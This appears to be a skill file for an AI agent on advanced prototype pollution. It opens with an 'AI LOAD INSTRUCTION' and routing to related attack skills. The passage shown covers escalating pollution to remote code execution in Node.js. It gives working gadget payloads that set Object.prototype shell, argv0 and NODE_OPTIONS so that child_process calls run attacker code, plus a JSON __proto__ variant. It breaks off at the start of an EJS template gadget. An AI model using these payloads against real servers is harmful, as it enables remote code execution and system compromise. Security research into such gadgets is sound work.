prototype-pollution-advanced

SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks, __proto__ vs constructor.prototype, basic probes).

0. RELATED ROUTING

• prototype-pollution — LOAD FIRST for PP fundamentals, merge-sink detection, basic probes
• ssti-server-side-template-injection — template engine RCE context (PP often triggers through template gadgets)
• xss-cross-site-scripting — client-side PP gadgets ultimately achieve XSS

Advanced Reference

Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.

---

1. SERVER-SIDE PP → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:

// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code

Alternative ENV pollution:

{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

1.2 EJS (Embedded JavaScript Templates)

EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function: